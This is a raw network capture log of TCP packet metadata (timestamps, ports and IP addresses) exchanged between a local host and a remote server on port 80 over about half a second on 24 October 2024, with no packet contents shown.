Oct 24, 2024 18:08:18.021852016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.021857977 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.021887064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.063361883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063430071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063483000 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063519001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063553095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063553095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.063585997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063621044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063630104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.063812971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063869953 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063905001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063932896 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.063936949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.063971996 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064002037 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.064007044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064057112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064084053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.064749956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064805984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064836979 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.064841032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064876080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.064903975 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.065206051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065327883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065361977 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.065375090 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065407991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065434933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.065440893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065475941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.065504074 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.065510035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066473961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066505909 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.066529989 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066586971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066615105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.066621065 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066652060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066679001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.066701889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066737890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.066762924 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.067217112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.071007967 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.084732056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101039886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101114035 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101161957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101197004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101233959 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101265907 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101310015 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101342916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101342916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101342916 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101350069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101406097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101437092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101442099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101475954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.101504087 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.101511002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.103076935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.140893936 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.140965939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141002893 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141036987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141073942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141108990 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.141257048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141293049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141328096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.141355991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.141911030 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.182713985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182775021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182818890 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182851076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.182853937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182893038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182940960 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.182970047 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.182977915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183007002 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.183068037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183168888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.183176994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183211088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183244944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183433056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.183546066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183648109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183672905 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.183685064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183718920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.183747053 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.183754921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184185028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184242964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184273005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.184298992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184334040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184360981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.184367895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184400082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184431076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.184437990 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.184624910 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.185142040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185239077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185267925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.185271978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185306072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185331106 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.185338974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185374022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185401917 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.185409069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.185528040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.186191082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.186244965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.186280012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.186312914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.186342001 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.186348915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.186387062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.222142935 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222217083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222254992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222282887 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.222289085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222313881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.222323895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222357988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222393036 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222426891 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222460032 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222493887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222526073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222558975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.222560883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.222562075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.222593069 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.262070894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.262563944 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262626886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262690067 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262701035 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.262727022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262761116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262799025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262830019 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.262836933 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.262862921 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.264262915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.264337063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307053089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307125092 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307163954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307195902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307199001 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307234049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307269096 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307269096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307303905 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307363987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307399988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307400942 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307427883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307456017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307509899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307540894 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307562113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307595968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307621956 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307629108 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307662010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307682991 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307694912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307734013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307766914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307820082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.307848930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.307853937 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308082104 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.308346033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308480978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308535099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308563948 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.308568954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308602095 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308617115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.308635950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308670044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308702946 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.308702946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308736086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.308763027 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.308770895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309039116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.309463024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309520006 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309556007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309581995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.309607983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309643030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309676886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309714079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.309743881 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.339831114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.339939117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.339967966 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.339972973 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340008020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340040922 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340076923 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340109110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.340111017 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340147018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340174913 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.340182066 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340301991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340337038 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340361118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.340369940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340398073 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.340404987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340464115 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.340562105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340596914 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.340699911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.382008076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382165909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382180929 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382196903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382215023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382224083 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.382231951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382250071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382251978 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.382299900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.382415056 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382430077 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382446051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382462025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382482052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.382486105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.382538080 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422081947 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422106028 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422174931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422188997 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422207117 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422233105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422233105 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422249079 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422257900 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422291994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422307968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422318935 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422333956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422344923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422348976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422369003 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422382116 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422393084 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422405958 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.422954082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.422988892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423006058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423012018 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423108101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423130989 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423132896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423150063 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423166037 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423182011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423204899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423204899 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423505068 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423537016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423564911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423593044 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423648119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423701048 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423726082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423733950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423769951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423794031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423823118 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423841000 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.423860073 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423892975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423930883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.423958063 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.424068928 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.424402952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424454927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424489975 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424519062 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.424523115 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424557924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424559116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.424593925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.424998999 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.426419020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.426459074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.426495075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.426522970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.459238052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459275007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459290981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459300995 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.459309101 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459341049 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459345102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.459359884 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459378004 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.459413052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459434986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459458113 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:18.459477901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459494114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459508896 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459523916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:18.459531069 CEST	49744	80	192.168.2.6	185.215.113.16
